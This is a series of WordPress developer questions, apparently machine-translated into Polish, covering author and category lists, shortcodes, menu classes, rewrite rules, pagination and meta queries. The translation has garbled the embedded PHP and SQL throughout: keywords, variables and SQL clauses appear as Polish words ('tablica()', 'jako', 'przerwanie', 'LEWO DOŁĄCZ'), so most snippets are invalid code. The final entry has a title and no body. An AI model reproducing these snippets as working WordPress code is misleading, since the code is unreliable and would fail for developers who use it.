title: Lista kategorii dla autora: funkcja list_categories wewnątrz funkcji list_authors

text:
Próbuję stworzyć stronę „współtwórcy”, na której znajduje się lista autorów i kategorie, w których napisali. Jestem w stanie użyć tego kodu, aby zrobić to dla jednego autora na stronie pojedynczego posta: <?php $cat_array = tablica(); $args=array( 'author' => get_the_author_meta('id'), 'showposts'=>-1, 'caller_get_posts'=>1 ); $author_posts = get_posts($args); if( $author_posts ) { foreach ($author_posts as $author_post ) { foreach(get_the_category($author_post->ID) as $category) { $cat_array[$category->term_id] = $category->term_id; } } } $cat_ids = implode(',', $cat_array); $output = strtr( wp_list_categories( 'include='.$cat_ids.'&title_li=&style=none&echo=0' ), array( '
' => ' / ' ) ); echo preg_replace( '@\s/\s\n$@', '', $wyjście ); ?> Ale kiedy próbuję podłączyć ten bit do funkcji mojej listy autorów (tak, że każdy autor na liście ma wyświetlone odpowiednie kategorie) Lista kategorii wyświetla się na górze strony (nie w div, w którym umieściłem kod ), a w div, w którym ma się wyświetlać, jest po prostu napisane „tablica”. Myślę, że jest to kwestia składni, ponieważ jestem rodzajem newb PHP. Oto funkcja listy autorów: //Moja lista autorów funkcja function my_list_authors($args = '') { global $wpdb; globalne $wp_query; $autor = get_query_var('autor'); function authorCats() { $categories = $wpdb->get_results("SELECT DISTINCT(terms.term_id) as ID,terms.name,terms.slug, tax.description FROM $wpdb->posty jako posty LEFT JOIN $wpdb-> term_relationships as relations ON posts.ID = relations.object_ID LEFT JOIN $wpdb->term_taxonomy as tax ON relations.term_taxonomy_id = tax.term_taxonomy_id LEWO DOŁĄCZ $wpdb->terms as term ON tax.term_id = term.term_id GDZIE 1=1 AND ( posts.post_status = 'opublikuj' AND posts.post_author = '$autor' AND tax.taxonomy = 'kategoria' ) ORDER BY terminy.nazwa ASC "); foreach($categories as $category) : echo '
 ID ).'" title="'.$category->name.'"> '.$category ->nazwa.'
'; na każdym kroku; } $defaults = array( 'optioncount' => false, 'exclude_admin' => true, 'show_fullname' => false, 'hide_empty' => true, 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true, 'style' => 'list', 'html' => true ); $r = wp_parse_args($args, $defaults); ekstrakt($r, EXTR_SKIP); $return = ''; /** @todo Przenieś zaznaczenie do get_authors(). */ $users = get_users_of_blog(); $ id_autora = tablica(); foreach ( (tablica) $users as $user ) $author_ids[] = $user->user_id; if ( count($author_ids) > 0 ) { $author_ids = implode(',', $author_ids ); $authors = $wpdb->get_results( "SELECT ID, user_nicename from $wpdb->users WHERE ID IN($author_ids)" . ($exclude_admin ? "AND user_login <> 'admin'" : '') . "ORDER BY wyświetlana nazwa" ); } else { $autorzy = array(); } $ licznik_autorów = tablica(); foreach ( (tablica) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND ". get_private_posts_cap_sql('post') . "GRUPA WG post_autora") as $row ) $author_count[$row->post_author] = $row->count; foreach ( (tablica) $autorzy jako $autor ) { $link = ''; $author = get_userdata( $author->ID ); $posts = (isset($author_count[$author->ID])) ? $author_count[$author->ID] : 0; $name = $author->display_name; if ( $show_fullname && ($author->pierwsze_imię != '' && $autor->nazwisko != '') ) $name = "$autor->pierwsze_imię $autor->nazwisko"; if( !$html ) { if ( $posts == 0 ) { if ( ! $hide_empty ) $return .= $nazwa . ', '; } else $return .= $nazwa . ', '; // Nie ma potrzeby dalszego przetwarzania kodu HTML. kontynuować; } $authorAvatar = get_avatar($author->ID); if ( !($posts == 0 && $hide_empty) && 'list' == $style ) $return .= '
 '.$authorAvatar.'

 Założyciel i redaktor:	 '.$author->pseudonim.'

 Lokalizacja:	 '. $author->lokalizacja .'

 Branża:	 Reklama
' ; if ( $author->twitter != '' ) { $return .= '
 Strona internetowa:	 '.$author->user_url.'

 Twitter:	 '.$author->twitter.'
'; } else { $return .= '
 Strona internetowa:	 '.$author ->user_url.'
'; } $return .= '

Biografia

Myślenie o

Artykuły

Reakcje

' .$author- >opis. '

'; $return .= $cat_array = array(); $args=array( 'author' => get_the_author_meta('id'), 'showposts'=>-1, 'caller_get_posts'=>1 ); $author_posts = get_posts($args); if( $author_posts ) { foreach ($author_posts as $author_post ) { foreach(get_the_category($author_post->ID) as $category) { $cat_array[$category->term_id] = $category->term_id; } } } $cat_ids = implode(',', $cat_array); $output = strtr( wp_list_categories( 'include='.$cat_ids.'&title_li=&style=none&echo=0' ), array( '
' => ' / ' ) ); echo preg_replace( '@\s/\s\n$@', '', $wyjście ); $return .= '

'; } $return = trim($return, ', '); if ( ! $echo ) return $return; echo $return; } Wszelkie spostrzeżenia lub pomysły są mile widziane, dzięki!


title: Jak dołączyć klasę „current-menu-ancestor” do niestandardowego menu typu post w Wordpress?

text: Potrzebuję menu Wordpress, aby zawierało klasę 'current-menu-ancestor', aby odzwierciedlić, że witryna znajduje się obecnie w sekcji przepisów. Przypuśćmy, że mam niestandardowy typ posta z przepisem. Mam następujący kod w moim functions.php, ale nie działa: function add_active_item_classes($classes = array(), $menu_item = false){ if ( get_post_type() == 'recipe' && $menu_item->title == ' Przepisy') { $classes[] = 'aktualny-przodek-menu'; zwróć $menuclasses; } } Również nie wiem, jakich hooków filtrów użyję, aby uzyskać ten efekt? Dzięki za sugestię i pomoc.


title: Dodanie opcji do shortcode

text:
Staram się napisać shortcode, który umożliwi wyświetlanie wszystkich użytkowników lub pokazywanie pojedynczego użytkownika, zdefiniowanego przez identyfikator użytkownika lub "nicename". Krótki kod wyglądałby mniej więcej tak: `[wyświetlacz personelu = "wszyscy"]" lub "[wyświetlacz personelu = "pojedynczy" użytkownik = "3"]" Mam standardowy krótki kod, który wyświetla wszystkich użytkowników, ale chciałbym dostosować go do opcji w powyższych przykładach. Nie jestem pewien, jak najlepiej połączyć to wszystko razem. Oto moja funkcja shortcode w obecnej formie, która działa dla `[staff]`: function list_users(){ $args = array( 'orderby' => 'ID', 'order' => 'ASC' ); $users = get_users($args); echo '
'; foreach( $users as $user ){ $user_info = get_userdata($user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="obraz-pracownika">'; echo mt_profile_img( $user->ID, array('rozmiar' => 'Usługi',)); echo ''; echo '
nazwa_użytkownika.'" class="nazwa-pracownika">
'. $user->display_name.'
'; echo '
'; echo the_field('certyfikaty','user_'.$user->ID); echo '
'; echo '
'; echo the_field('short_bio','user_'.$user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="more-staff-bio">Przeczytaj więcej z ' . $user_info->user_firstname . '

'; echo '
'; } echo '
'; } add_shortcode('personel', 'list_users'); **EDYTUJ** W oparciu o sugestie z poniższej odpowiedzi, oto moje nowe funkcje //* Skrócony kod do pobierania funkcji użytkowników display_all_users(){ $args = array( 'orderby' => 'ID', 'order' => „ASC” ); $users = get_users($args); echo '
'; foreach( $users as $user ){ $user_info = get_userdata($user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="obraz-pracownika">'; echo mt_profile_img( $user->ID, array('rozmiar' => 'Usługi',)); echo ''; echo '
nazwa_użytkownika.'" class="nazwa-pracownika">
'. $user->display_name.'
'; echo '
'; echo the_field('certyfikaty','user_'.$user->ID); echo '
'; echo '
'; echo the_field('short_bio','user_'.$user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="more-staff-bio">Przeczytaj więcej z ' . $user_info->user_firstname . '

'; echo '
'; } echo '
'; } function list_of_users( $atts ){ // wyodrębnij i ustaw wartości domyślne extract( shorcode_atts( array( 'display' => 'all', 'user' => 30 ), $atts, 'staff' ) ); // teraz zmień wyniki w oparciu o przełącznik $display att ( $display ) { case 'all': $content = display_all_users(); przerwanie; przypadek 'pojedynczy': $content = display_single_user((int) $user ); przerwanie; domyślnie: przerwa; } // daj skrótowi coś do wyświetlenia return $content; } add_shortcode('personel', 'list_of_users'); **EDYTUJ 2** Udało mi się, jednak wyjściem mojej funkcji `single` jest zrzucanie zawartości poza opakowanie div, w którym powinna się znajdować. //* Skrót do pobierania funkcji użytkowników list_of_users( $atts = array(), $content = null ){ extract(shortcode_atts( array( 'display' => 'all', 'user' => '30' ), $atts )); switch ( $display ) { case 'all': $content = display_all_users(); przerwanie; przypadek 'pojedynczy': $content = display_single_user((int) $user ); przerwanie; domyślnie: przerwa; } return $wszystko; } add_shortcode('personel', 'list_of_users'); function display_all_users(){ $args = array( 'orderby' => 'ID', 'order' => 'ASC' ); $users = get_users($args); echo '
'; foreach( $users as $user ){ $user_info = get_userdata($user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="obraz-pracownika">'; echo mt_profile_img( $user->ID, array('rozmiar' => 'Usługi',)); echo ''; echo '
nazwa_użytkownika.'" class="nazwa-pracownika">
'. $user->display_name.'
'; echo '
'; echo the_field('certyfikaty','user_'.$user->ID); echo '
'; echo '
'; echo the_field('short_bio','user_'.$user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="more-staff-bio">Przeczytaj więcej z ' . $user_info->user_firstname . '

'; echo '
'; } echo '
'; } function display_single_user(){ extract(shortcode_atts( array( 'display' => 'all', 'user' => '30' ), $atts )); $output = mt_profile_img( $user, array('size' => 'Usługi',)).the_field('short_bio','user_'.$user); } **EDIT #3** Mam wyjście działające i "buforowanie we właściwym obszarze. Zauważyłem jednak, że zmienna `user` użyta w shortcode nie jest przekazywana do funkcji `single`. //* Shortcode for pobieranie funkcji użytkowników list_of_users( $atts = array(), $content = null ){ extract(shortcode_atts( array( 'display' => 'all', 'user' => '30' ), $atts )); ob_start( ); switch ( $display ) { case 'all': $content = display_all_users(); break; case 'single': $content = display_single_user((int) $user );break; default: break; } $output = ob_get_clean (); return $all.$output; } add_shortcode('staff', 'list_of_users'); function display_all_users(){ $args = array ( 'zamówienie' => 'ID', 'zamówienie' => 'ASC' ); $users = get_users($args); echo '
'; foreach( $users as $user ){ $user_info = get_userdata($user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="obraz-pracownika">'; echo mt_profile_img( $użytkownik->ID, array('rozmiar' => '250x250',)); echo ''; echo '
nazwa_użytkownika.'" class="nazwa-pracownika">
'. $user->display_name.'
'; echo '
'; echo the_field('certyfikaty','user_'.$user->ID); echo '
'; echo '
'; echo the_field('short_bio','user_'.$user->ID); echo '
'; echo 'nazwa_użytkownika.'" class="more-staff-bio">Przeczytaj więcej z ' . $user_info->user_firstname . '

'; echo '
'; } echo '
'; } function display_single_user($args){ $args = extract(shortcode_atts( array( 'display' => 'all', 'user' => '30' ), $atts, 'staff' )); echo'
'; echo mt_profile_img( $użytkownik, array('rozmiar' => '175x175',)); echo '

'; echo the_field('short_bio','user_'.$user); echo'
Przeczytaj więcej biografii pracowników'; } _Nadal jestem nowy w pisaniu funkcji, więc wybacz mi, jeśli moja składnia nie jest najbardziej optymalna do jej użycia._


title: Wordpress dodawanie adresu URL witryny do linków nagłówkowych

text:
Trochę informacji: opracowuję jednostronicowy motyw, który wykorzystuje posty jako sekcje na stronie głównej. Stworzyłem kod, który umożliwia użytkownikom dodawanie pozycji menu na stronie posta z pola meta podczas tworzenia sekcji, a następnie tworzy specjalny identyfikator sekcji i dodaje go do posta, a także tworzy łącze menu dla każdej sekcji któremu nadano imię. Powodem tego jest to, że planuję przenieść łącze menu bezpośrednio do tej sekcji po kliknięciu. Oto dylemat: mój kod przechodzi przez każdą sekcję i dodaje do menu tylko te, którym nadano niestandardową nazwę, tak jak powinno. Problem polega jednak na tym, że dodaje adres URL witryny do linku nagłówka wraz z podanym adresem URL. Tak **powinno** wyglądać: #SectionTwo Tak wygląda: mysite.com/#SectionTwo Nie jestem pewien, co dokładnie to dodaje, nie sądzę, że to mój kod, ale dołączę tak czy inaczej. Czy ktoś ma jakieś pomysły, na czym może polegać problem?
 <?php $lastposts = get_posts('numberposts=5&orderby=rand&cat=-52'); foreach($lastposts jako $post) : setup_postdata($post); ?> <li<?php if ( $post->ID == $wp_query->post->ID ) { echo ' class="current"'; } else {} ?>> <?php if(!esc_attr( get_post_meta($post->ID, 'newtheme_section_id', true) == NULL) ) : ?> <a href="#<?php echo esc_attr( get_post_meta ($post->ID, 'newtheme_section_id', true) ); ?>"><?php echo esc_attr( get_post_meta($post->ID, 'newtheme_section_id', true) ); ?>
 <?php endif; ?> <?php endforeach; ?>


title: Jak uruchomić pętlę Wordpress wywołaną z funkcji filtru?

text: Próbuję więc wypełnić pole wyboru Zaawansowane pola niestandardowe ładną, skomplikowaną tablicą opartą na niektórych danych posta. Próbowałem to zrobić, wykonując niestandardowe zapytanie i zapętlając zwrócone posty. Niestety, pętla wydaje się powracać z dziwnym przysiadem. W mojej instalacji testowej powinien zwracać 10 postów. Jednak `var_dump` w poniższej instrukcji zwróci `NULL` 10 razy. Ustawienie `get_post($post)` wewnątrz pętli zwróci pierwszy wynik dla każdej instancji. Co dziwne, `var_dump`ing `$hw_selectbox_query` zwróci pozornie poprawny obiekt, więc jest to zdecydowanie problem z samą pętlą, która nie definiuje obiektu `$post`. Mógłbym uruchomić pętlę `foreach` przez zwrócone zapytanie, ale nie wydaje mi się to właściwym sposobem. FWIW, funkcja działa idealnie po umieszczeniu na pustej stronie front-end. function populate_selectbox_field( $pole ){ $pole['wybory'] = array(); $hw_selectbox_args = array( post_type => 'custom_post_type', orderby => 'title', order => 'ASC', posts_per_page => -1 ); $hw_selectbox_query = nowe WP_Query($hw_selectbox_args); if ( $hw_selectbox_query->have_posts() ) : while ( $hw_selectbox_query->have_posts() ) : $hw_selectbox_query->the_post(); var_dump($post); $field['choices'][$post->ID] = $post->post_title // Wykonuj bardziej skomplikowane rzeczy w prawdziwym życiu endwhile; endif; zwróć pole $; } add_filter('acf/load_field/name=destination_node', 'populate_destination_node_field');


title: Zapytanie o posty terminów w pętli

text:
Próbuję wyświetlić moją kategorię CPT wraz z powiązanymi z nią wpisami pod tytułem. Mam pierwszą pętlę w porządku: <?php $cats = get_categories(array('taxonomy' => 'custtax', 'orderby' => 'term_group')); if(!empty($cats)) : foreach($cats as $cat) : ?> <a href="<?php echo get_category_link($cat->term_id); ?>"><?php echo $cat- >imię; ?>
 <?php wp_reset_query(); ?> <?php $cat_posts = new WP_Query(array('post_type' => 'custcpt', 'taksonomia' => 'custtax', 'terms' => $cat->slug, 'order' => 'ASC' )); foreach($cat_posts jako $cat_post) : ?> <?php get_the_post_thumbnail($cat_post->ID, 'thumbnail'); ?>
 <a href="<?php get_permalink($cat_post->ID); ?>"><?php get_the_title($cat_post->ID); ?>

 <?php endforeach; ?> <?php endforeach; ?> <?php endif; ?> Ale moja druga pętla odpytuje wszystkie moje posty, a nie tylko te z tej kategorii. Próbowałem `get_posts()` i zamiast ściągać wszystkie posty, nie wyciągnął żadnego. Nie jestem pewien, czy „kategoria” w kodeksie oczekuje ciągu, ślimaka lub identyfikatora, ale próbowałem wszystkich 3. W każdym razie, jak edytować moje zapytanie, aby pobierać tylko posty z tej określonej kategorii?


title: Dodać coś na początek treści za pomocą add_action('the_content')?

text: Używam add_action('the_content', 'myFunction', 10) do dołączania danych na końcu treści. Jak mogę umieścić treść na początku treści?


title: Jak kontrolować, jaką wersję jQuery dołączyć, za pomocą wp_enqueue_script

text: Używam skryptu opartego na jQuery, więc nie umieszczam go w kolejce bezpośrednio, ale poprzez przekazanie go w tablicy zależnych skryptów: wp_enqueue_script("jquery-plugin-name",'http://hostname .il/blogname/wp-content/themes/twentyten/js/jquery-plugin-name.js', array('jquery'), '1'); To ładuje jQuery v1.4.4 i waży 76kb, co wydaje się bardzo ciężkie, chociaż plik wygląda na skompresowany. Mam 2 pytania: 1. Czy jest sposób, w jaki mogę załadować najnowszą wersję jQuery? 2. Jak mogę się upewnić, że załadowany plik został zminifikowany?


title: Błędy braku pamięci - anon-rss czy file-rss?

text: Czy ktoś może mi pomóc dowiedzieć się, która wtyczka może powodować ten błąd i jak go naprawić? [4405235.617144] Brak pamięci: zabij proces 1450 (apache2) score 75568 lub dziecko [4405235.617155] Zabity proces 1450 (apache2) vsz:302272kB, anon-rss:4304kB, file-rss:284kB To już ostatni, ale są setki takich błędów przed ponownym uruchomieniem... Używam WP 3.0.1 na Rackspace Cloud Myślę, że musi to być coś, co pcha lub ciągnie kanał RSS, więc tutaj są najbardziej prawdopodobni rywale AddToAny FD Feedburner Feedlist FT Facepress II (która i tak nie działa, więc wyłączę to i zachowam na inne pytanie) Intensywna debata Postalicious Jeśli istnieje sposób, aby to rozgryźć bez usuwania ich wszystkich naraz, byłbym wdzięczny za pomoc . Pobieram treści z moich pysznych i pełnych plakatów kanałów i przesyłam je do RSS, więc straciłbym wiele z funkcji, je usuwając. Z góry dziękuję.


title: Który plik/szablon odpowiada za taksonomie dla niestandardowych typów postów?

text:
Ustawiłem CPT, powiedzmy „Filmy”. 'rewrite' => array( 'slug'=>'movies', 'with_front'=>FALSE ) Dodałem taksonomię "Genre". 'rewrite' => array( 'slug'=>'movies/genre', 'with_front'=>FALSE ) Próbowałem też 'rewrite' => array( 'slug'=>'genre', 'with_front'=>TRUE ) register_taxonomy( 'kategoria_film', 'film', $args ); Wszystko działa, ale gdy chcę przejrzeć jakieś filmy np. w kategorii/horror taksonomiczny to nie działa. Założyłem plik taxonomy-category_movie.php a jeśli nie to taksonomy.php LUB category.php LUB tag.php ALE NIE! WP zawsze wraca do pliku index.php. Więc pomyślałem, że sprawdzę, co właściwie robi WP i dodałem if ( is_home() ) { echo "
JEST W DOMU"; } if ( is_single() ) { echo "
JEST POJEDYNCZY"; } if ( is_singular() ) { echo "
JEST POJEDYNCZY"; } if ( is_front_page() ) { echo "
JEST STRONA PRZEDNIA"; } if ( is_page() ) { echo "
JEST STRONA"; } if ( is_category() ) { echo "
JEST KATEGORIA"; } if ( is_tag() ) { echo "
JEST TAG"; } if ( is_tax() ) { echo "
JEST PODATKEM"; } ale żadna z wiadomości nie trafiła do przeglądarki... Mam nadzieję, że ktoś zna odpowiedź!!


title: Weryfikowanie niestandardowych wartości pola meta i wymaganych pól

text: Coś, czego nigdy nie widziałem, to najlepszy sposób na sprawdzenie, czy określone pola formularza są poprawnie wypełnione w przypadku niestandardowych meta pól typu post. Chcę uzyskać opinie ekspertów na temat tego, jak najlepiej weryfikować pola niestandardowe dla dowolnych metaboksów, które można utworzyć. Moim celem jest: * upewnienie się, że walidacja pól ma miejsce przed opublikowaniem/aktualizacją postu * wykorzystanie klasy/kodu, który nie koliduje z innymi wordpress javascript * pozwala zdefiniować określone pola jako wymagane, podczas gdy inne mogą być opcjonalne * walidacja pól na podstawie na konfigurowalnych regułach, w tym wyrażeniach regularnych, takich jak format wiadomości e-mail * kontroluj wizualne wyświetlanie wszelkich błędów/powiadomień Z góry dziękuję!


title: Dodawanie komentatorów do białej listy

text: Mam bloga, który dostaje zwykły spam, z którym Akismet jest całkiem niezły. Nie na tyle dobrze, żebym jeszcze wyłączyła moderację. Zastanawiam się, czy istnieje sposób na dodanie listy czytelników do białej listy, aby ich komentarze mogły pominąć moderację i po prostu zostać opublikowane?


title: Układ dwukolumnowy z kolejnością alfabetyczną

text:
Próbuję wyświetlić listę sprzedawców w dwóch kolumnach od lewej do prawej, posortowaną alfabetycznie: A | B C | DE | F G | H Obecnie poniższy kod sortuje połowę postów alfabetycznie, a następnie zaczyna w połowie alfabetycznie z resztą: A | C E | GB | DF | H Jakiś pomysł, gdzie się pomylę? <?php query_posts( array( 'order' => 'ASC' , 'orderby' => 'title' , 'posts_per_page' => -1 , 'post_type' => 'stockist_directory', 'regions' => 'metropolita' ) ); if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) == 0) : $wp_query->next_post(); inaczej : the_post(); ?>

<?php the_title(); ?>
 <?php the_field('adres_sklepu'); ?>
 <?php the_field('przedmieście'); ?>, <?php the_field('kod pocztowy'); ?>
 Telefon: <?php the_field('numer_telefonu'); ?>
 <a href="<?php the_field('website_address'); ?>">Strona internetowa
 <?php endif; koniec; jeszcze: ?> <?php endif; ?> <?php $i = 0; rewind_posts(); ?> <?php if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) !== 0) : $wp_query->next_post(); inaczej : the_post(); ?>

<?php the_title(); ?>
 <?php the_field('adres_sklepu'); ?>
 <?php the_field('przedmieście'); ?>, <?php the_field('kod pocztowy'); ?>
 Telefon: <?php the_field('numer_telefonu'); ?>
 <a href="<?php the_field('website_address'); ?>">Strona internetowa
 <?php endif; koniec; jeszcze: ?> <?php endif; ?>


title: .htaccess w motywie multisite i root?

text: instaluję motyw Roots, a następnie konwertuję moją instalację na wielostanowiskową... aby wordpress dodał trochę kodu do poprzedniego .htaccess z ustawieniami roota. Mój plik .htaccess wygląda teraz tak i pojawiają się błędy przekierowania. Czy istnieje konflikt w moim .htaccess? ##### Multisite Htaccess ##### RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] # przesłanych plików RewriteRule ^([_0-9a-zA-Z-]+/)?files/( .+) wp-includes/ms-files.php?file=$2 [L] # dodaj końcowy ukośnik do /wp-admin RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule ^[_0-9a-zA-Z-]+/( wp-(content|admin|includes).*) $1 [L] RewriteRule ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L] RewriteRule . index.php [L] ##### Multisite Htaccess end #### # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteRule ^css/(.*) /wp-content/themes/roots/css/$1 [QSA,L] RewriteRule ^js/(.*) /wp-content/themes/roots/js/$1 [QSA,L] RewriteRule ^img/(.*) /wp-content/themes/roots/img/$1 [QSA,L] RewriteRule ^plugins/(.*) /wp-content/plugins/$1 [QSA,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME } !-d Reguła przepisywania . /index.php [L] </IfModule> # KONIEC WordPress


title: add_rewrite_rule() nie bawi się dobrze ze stronami podrzędnymi

text: function my_add_rewrite_rules() { add_rewrite_rule('testowanie/([^/]+)?$', 'index.php?pagename=testing&event_slug=$matches[1]', 'top' ); } add_action( 'init', 'my_add_rewrite_rules' ); funkcja add_query_vars( $query_vars ) { $query_vars[] = 'event_slug'; zwróć $query_vars; } add_filter( 'query_vars', 'add_query_vars' ); _/testing/foo_ - Działa, pokazuje foo Jeśli **testowanie** nie jest ustawione na żadnego rodzica, przepisanie działa i wszystko jest gotowe. Jeśli ustawię **testing** na dziecko, powiedzmy **about** i zaktualizuję add_rewrite_rule do.. add_rewrite_rule('about/testing/([^/]+)?$', 'index.php ?pagename=testing&event_slug=$matches[1]', 'top' ); ... ładuje informacje/testowanie, ale usuwa moją niestandardową zmienną query_var i wyświetla stronę normalnie. _/about/testing/foo_ - Wczytuje stronę, nie wyświetla foo


title: Paginacja strony wyszukiwania - nie można naprawić

text:
Przepraszam za opublikowanie tego, ponieważ wiem, że to częste pytanie, ale sam nie byłem w stanie go złamać. Moja strona wyszukiwania działa dobrze poza paginacją (po kliknięciu kolejnej strony, po prostu ponownie ładuje pierwszą stronę wyników) Sprawdź to (przewiń w dół do paginacji, pod postami): http://dthudson.com/ccr ?s=hi Oto mój kod:  <?php $paged = ( get_query_var('paged')) ? get_query_var('stronicowane') : 1; $args = array( 'posts_per_page' => '4', 'paged' => $paged ); $my_query = nowe WP_Query( $args ); if ($my_query->have_posts()) : while ($my_query->have_posts()) : $my_query->the_post();?>

<a id="title-color" href="<?php the_permalink(); ?>"><?php the_title(); ?>

 <?php the_content(); ?>

 <?php endwhile; else: ?>

<?php _e('Przepraszamy, wyszukiwanie nie zwróciło żadnych wyników.' , 'czasopismo'); ?>
 <?php endif; ?>  <?php globalne $wp_query; $total_pages = $wp_query->max_num_pages; if ($total_pages > 1){ $current_page = max(1, get_query_var('paged')); echo paginate_links(array( 'base' => get_pagenum_link(1) . '%_%', 'format' => 'page/%#%', 'current' => $bieżąca_strona, 'total' => $total_pages, 'prev_next' => Fałsz, 'typ' => 'lista', )); } ?>


title: Hak do pisania tekstu po skryptach stopki

text: Szukam wstawić ciąg zmiennych JavaScript PO skryptach umieszczonych w kolejce in_footer. Kiedy piszę ciąg przez hak wp_footer, pojawiają się one przed skryptami in_footer. Czy jest jakiś inny haczyk, z którym mogę się powiązać, który dzieje się po napisaniu tych umieszczonych w kolejce skryptów.


title: Jaki jest domyślny szablon zapytania kategorii/taksonomii?

text: Próbuję dowiedzieć się, jaki byłby domyślny szablon używany dla tego adresu URL: http://example.com/categories/16/search_type/and/order/default/ Nie wygląda na to, że jest to `category.php` lub `archive.php` Moim innym problemem jest to, że pierwsze 2 wyniki zapytania o kategorię pokazują pełny post zamiast tytułu. Każda pomoc byłaby bardzo mile widziana.


title: Jak mogę zaufać switch_to_blog()?

text: Kiedy wywołuję `switch_to_blog()` z identyfikatorem bloga, nie wiem, czy ten blog faktycznie istnieje. Funkcja zwraca zawsze „PRAWDA”. Oto mój problem: switch_to_blog( PHP_INT_MAX ); $post = get_post( 1 ); restore_current_blog(); Spowoduje to błędy bazy danych, które zostaną ujawnione użytkownikowi. Jak mogę temu zapobiec? ### Przypadek użycia w świecie rzeczywistym Jestem głównym twórcą prasy wielojęzycznej. Kiedy użytkownik tłumaczy post, otrzymuje ekran podobny do tego: ![tutaj wpisz opis obrazu](http://i.stack.imgur.com/tEQ2k.png) Teraz może się zdarzyć, co następuje: 1. Zapisuje post pomyślnie i kontynuuje tłumaczenie postu. 2. Inny użytkownik, administrator sieci, usuwa niemieckiego bloga podczas pisania. 3. Ponownie klika zapisz i otrzymuje błędy bazy danych. Chcę uniknąć tego scenariusza. Jak mogę _szybko_ sprawdzić, czy docelowy blog istnieje? Bardzo często wywołuję `switch_to_blog()` w wielu różnych klasach, więc musi to być szybkie.


title: Yoast nie dodaje opisu og

text: Wordpress SEO (Yoast) nie wydaje się dodawać opisu meta og do żadnych artykułów/postów na stronie: http://www.magforwomen.com/ Pozostałe tagi meta og są dodawane, ale nie mam takiego szczęścia z opisem og, którego próbowałem to: Opisy OpenGraph nie wyświetlają się podczas korzystania z Wordpress SEO (Yoast) Ale nawet jeśli pojawia się tag opisu og, jego zawartość jest pusta. Używam tego w tej chwili: <?php $post = $wp_query->post; $descrip = strip_tags($post->post_content); $descrip_more = ''; if (strlen($opis) > 155) { $opis = substr($opis,0,155); $descrip_more = ' ...'; } $descrip = str_replace('"', '', $descrip); $descrip = str_replace("'", '', $descrip); $descripwords = preg_split('/[\n\r\t ]+/ ', $descrip, -1, PREG_SPLIT_NO_EMPTY); $descrip = implode(' ', $descripwords) . $descrip_more; echo "<meta property='og:description' content=\"$descrip\">"; ?> Czy istnieje powód, dla którego Yoast nie może znaleźć treści do opisu og?


title: Uporządkuj według meta pola w pętli zapytań

text: Chciałbym posortować mój artykuł z kategorii według numeru dodanego w polu meta. Oto pierwszy krok, otrzymuję artykuły do wyświetlenia na stronie. <?php $kot = get_post_meta( get_the_ID(), 'cat_page', true ); ?> Zaczynam pętlę. To w tej pętli otrzymuję moje niestandardowe pole meta. <?php if ( $cat ) { // uruchom niestandardowe zapytanie $query = new WP_Query( 'category_name=' .$cat ); // uruchom niestandardową pętlę while ( $query->have_posts() ) { $query->the_post(); $my_meta = get_post_meta( $post->ID, '_my_meta', prawda ); ?> **Ale jak sortować według określonego klucza meta (-> $my_meta['niveau-chiffre'])** Próbowałem czegoś takiego <?php $my_meta = get_post_meta( $post->ID, '_my_meta ', PRAWDA ); $kot = get_post_meta( get_the_ID(), 'cat_page', true ); $args = array( 'category_name' => $cat, 'meta_key' => '_my_meta', 'orderby' => 'meta_value', 'order' => 'ASC', 'meta_query' => array( array( ' klucz' => '_my_meta', 'value' => 'niveau-chiffre', 'meta_value' => 'niveau-chiffre', 'compare' => '>=', 'type' => 'NUMERYCZNE' ) ) ); ?> I pętla <?php if ( $cat ) { // uruchom niestandardowe zapytanie $query = new WP_Query( $args ); // uruchom niestandardową pętlę while ( $query->have_posts() ) { $query->the_post(); $my_meta = get_post_meta( $post->ID, '_my_meta', prawda ); ?> Ale w tym momencie myślę, że metazmienne (_my_meta) nie są dostępne. **EDYTUJ** Moja meta wygląda tak w bazie danych ![baza danych ekranu](http://i.stack.imgur.com/xbKkq.jpg) I próbowałem czegoś takiego dzięki Generuj WP <?php $kot = get_post_meta( get_the_ID(), 'cat_page', true ); $args = array( 'category_name' => $cat, 'order' => 'ASC', 'meta_query' => array( array( 'key' => '_my_meta', 'value' => 'niveau-chiffre' , 'type' => 'NUMERYCZNE' ) ), 'orderby' => 'meta_value_num' ); ?> ale to też nie zadziałało.


title: Archiwa dla niestandardowego typu postu na podstawie meta wartości „data”

text: Mam niestandardowy wpis typu „Wydarzenie”. Każdy post ma metapole na rzeczywistą datę wydarzenia, która nie może być datą publikacji posta, ponieważ większość wszystkich dat wydarzeń przypada w przyszłości. Dzięki temu staram się stworzyć archiwum (rok i miesiąc) dla przeszłych i przyszłych wydarzeń w oparciu o pole meta. Po prostu nie mogę sobie wyobrazić, jak utworzyć zapytanie dla tego i wyświetlić je w stylu url.com/post-type/2011/01 Wartość daty w polu meta jest ustawiona na RRRR-MM-DD. Każda pomoc w tym jest bardzo doceniana! Dziękuję.


title: Jak używać register_setting, add_settings_section i add_settings_field na stronie opcji mojej wtyczki?

